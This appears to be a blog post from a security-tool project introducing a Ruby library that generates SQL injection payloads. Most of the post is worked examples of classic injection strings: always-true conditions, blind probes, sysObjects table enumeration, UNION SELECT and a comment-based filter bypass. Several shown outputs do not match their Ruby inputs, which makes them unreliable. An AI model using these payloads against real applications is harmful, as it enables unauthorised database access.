One of the planned features listed in the Spring Cleaning Campaign (2010) was a simple Ruby->SQL encoder for the Ronin SQL library, to replace the overly complex Ronin SQL DSL. This encoder would format Ruby Integers, Strings, Arrays and Hashes into fragments of proper SQL.

The Ruby->SQL encoder has gotten to the point of being able to recreate most of the examples from RSnake’s SQL Injection Cheat Sheet:

Load ronin/code/sql:

require 'ronin/code/sql' 
include Ronin

sql = Code.sql

Normal SQL Injection:

sql[1, :or, 1, :eq, 1].to_sql
# => "1 or 1 = 1"

Normal SQL Injection using encapsulated data:

sql['1', :or '1', :eq, '1'].to_sql
# => "'1' or '1' = '1'"

Blind SQL Injection creating an error using EXEC:

sql[1, :exec, :sp_, [sql[:or, :exec, :xp_]]].to_sql
# => "1 exec sp_ (or exec xp_)"

Blind SQL Injection detection:

sql[1, :and, 1, :eq, 1].to_sql
# => "1 and 1 = 1"

Blind SQL Injection to attempt to locate table_name by brute-force iteration through table name permutations:

sql['1', :and, 1, :eq, [sql[:select, sql.count(:all), :from, :table_name]]].to_sql
# => "'1' and 1 = (select count(*) from tablenames)"

Using the USER_NAME() function in SQL Server to tell us if the user is running as the administrator:

sql[1, :and, sql.user_name(), :eq, 'dbo'].to_sql
# => "1 and user_name() = 'dbo'"

Creating errors by calling non-existant tables:

sql[1, :and, :non_existant_table, :eq, '1'].to_sql
# => "1 and non_existant_table = '1'"

Dumping usernames:

sql[:or, :username, :is, :not, nil, :or, :username, :eq].to_sql
# => "or username is not null or username ="

Enumerating through database table names:

sql[1, :and, sql.ascii(
  sql.lower(
    sql.substring(
      [sql[:select, :top, 1, :name, :from, :sysObjects, :where, :xtype, :eq, 'U']], 1, 1
    )
  )
), :gt, 116].to_sql
# => "1 and ascii(lower(substring((select top 1 name from sysobjects where xtype = 'U'),1,1))) > 116"

Finding user supplied tables using the sysObjects table in SQL Server:

sql[1, :union, :all, :select, [1,2,3,4,5,6,:name], :from, :sysObjects, :where, :xtype, :eq, 'U'].to_sql
# => "1 union * select (1,2,3,4,5,6,name) from sysObjects where xtype = 'U'"

Bypassing filter using /**/ instead of spaces:

stmt = sql[1, :union, :select, :all, :from, :where]
stmt.to_sql
# => "1 union select * from where"

stmt.to_sql(:spaces => false)
# => "1/**/union/**/select/**/*/**/from/**/where"

I cheated a little by leaving off the prefix/suffix tick-marks used in SQL injections, but you get the general idea.

New SQL fragments are created using the sql[...] syntax, and new SQL function calls are created with sql.func_name. Note, that you can nest SQL fragments by using the [sql[...]] or [sql.func_name(....)] syntax.

If Ronin interests you or you like the work we do, consider donating to Ronin on GitHub, Patreon, or Open Collective so we can continue building high-quality free and Open Source security tools and Ruby libraries.